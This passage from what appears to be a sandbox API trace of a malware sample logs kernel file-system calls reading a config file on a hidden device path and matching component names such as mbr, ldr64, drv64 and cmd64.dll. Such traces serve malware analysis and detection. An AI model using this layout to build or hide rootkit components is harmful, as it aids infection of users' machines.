ReleaseMutex (hMutex=0x100) returned 1 [0120.291] Sleep (dwMilliseconds=0x2bf20) [0120.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ae52270, dwHighDateTime=0x1d24fa4)) [0120.298] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.298] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.298] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.298] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.298] KeEnterCriticalRegion () [0120.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.298] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.298] IdePortDispatch () returned 0x103 [0120.298] KeWaitForMutexObject () returned 0x0 [0120.298] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.298] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.298] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.298] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.298] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.298] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdabc0 [0120.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.298] KeLeaveCriticalRegion () [0120.298] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.298] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.298] KeEnterCriticalRegion () [0120.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.298] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.298] KeLeaveCriticalRegion () [0120.298] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.298] KeEnterCriticalRegion () [0120.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.299] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.299] IdePortDispatch () returned 0x103 [0120.299] KeWaitForMutexObject () returned 0x0 [0120.299] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.299] KeLeaveCriticalRegion () [0120.299] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.299] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.299] KeEnterCriticalRegion () [0120.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.299] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800342e000 [0120.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.299] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.299] IdePortDispatch () returned 0x103 [0120.299] KeWaitForMutexObject () returned 0x0 [0120.299] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.299] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.299] IdePortDispatch () returned 0x103 [0120.299] KeWaitForMutexObject () returned 0x0 [0120.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.300] KeLeaveCriticalRegion () [0120.300] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.300] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.300] KeEnterCriticalRegion () [0120.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.300] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.300] KeLeaveCriticalRegion () [0120.300] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.300] KeEnterCriticalRegion () [0120.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.300] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.300] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.300] KeLeaveCriticalRegion () [0120.300] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.300] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.300] KeEnterCriticalRegion () [0120.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.300] ExFreePoolWithTag (P=0xfffffa8003bdabc0, Tag=0x0) [0120.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.300] KeLeaveCriticalRegion () [0120.300] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.301] ReleaseMutex (hMutex=0xf0) returned 1 [0120.301] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.301] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.301] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.301] KeEnterCriticalRegion () [0120.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.301] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.301] IdePortDispatch () returned 0x103 [0120.301] KeWaitForMutexObject () returned 0x0 [0120.301] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.301] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.301] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.301] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.301] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.301] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcdd60 [0120.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.301] KeLeaveCriticalRegion () [0120.301] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.301] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.301] KeEnterCriticalRegion () [0120.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.301] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.301] KeLeaveCriticalRegion () [0120.301] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.301] KeEnterCriticalRegion () [0120.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.301] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.301] IdePortDispatch () returned 0x103 [0120.302] KeWaitForMutexObject () returned 0x0 [0120.302] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.302] KeLeaveCriticalRegion () [0120.302] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.302] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.302] KeEnterCriticalRegion () [0120.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.302] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800342f000 [0120.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.302] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.302] IdePortDispatch () returned 0x103 [0120.302] KeWaitForMutexObject () returned 0x0 [0120.302] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.302] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.302] IdePortDispatch () returned 0x103 [0120.302] KeWaitForMutexObject () returned 0x0 [0120.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.303] KeLeaveCriticalRegion () [0120.303] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.303] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.303] KeEnterCriticalRegion () [0120.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.303] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.303] KeLeaveCriticalRegion () [0120.303] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.303] KeEnterCriticalRegion () [0120.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.303] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.303] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc22b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.303] KeLeaveCriticalRegion () [0120.303] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.303] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.303] KeEnterCriticalRegion () [0120.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.303] ExFreePoolWithTag (P=0xfffffa8003bcdd60, Tag=0x0) [0120.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.303] KeLeaveCriticalRegion () [0120.303] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.303] ReleaseMutex (hMutex=0xf0) returned 1 [0120.303] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.303] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.304] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.304] KeEnterCriticalRegion () [0120.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.304] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.304] IdePortDispatch () returned 0x103 [0120.304] KeWaitForMutexObject () returned 0x0 [0120.304] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.304] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.304] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.304] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.304] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.304] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1ec0 [0120.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.304] KeLeaveCriticalRegion () [0120.304] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.304] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.304] KeEnterCriticalRegion () [0120.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.304] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.304] KeLeaveCriticalRegion () [0120.304] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.304] KeEnterCriticalRegion () [0120.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.304] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.304] IdePortDispatch () returned 0x103 [0120.304] KeWaitForMutexObject () returned 0x0 [0120.305] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.305] KeLeaveCriticalRegion () [0120.305] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.305] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.305] KeEnterCriticalRegion () [0120.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.305] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003440000 [0120.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.305] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.305] IdePortDispatch () returned 0x103 [0120.305] KeWaitForMutexObject () returned 0x0 [0120.305] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.305] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.305] IdePortDispatch () returned 0x103 [0120.305] KeWaitForMutexObject () returned 0x0 [0120.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.305] KeLeaveCriticalRegion () [0120.305] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.306] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.306] KeEnterCriticalRegion () [0120.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.306] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.306] KeLeaveCriticalRegion () [0120.306] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.306] KeEnterCriticalRegion () [0120.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.306] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.306] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.306] KeLeaveCriticalRegion () [0120.306] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.306] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.306] KeEnterCriticalRegion () [0120.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.306] ExFreePoolWithTag (P=0xfffffa80039d1ec0, Tag=0x0) [0120.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.306] KeLeaveCriticalRegion () [0120.306] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.306] ReleaseMutex (hMutex=0xf0) returned 1 [0120.306] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.306] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.306] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.307] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.307] KeEnterCriticalRegion () [0120.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.307] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.307] IdePortDispatch () returned 0x103 [0120.307] KeWaitForMutexObject () returned 0x0 [0120.307] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.307] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.307] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.307] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.307] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.308] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.308] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.308] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.308] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.308] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.308] _strnicmp (_Str1="", _Str="lsash.xp", 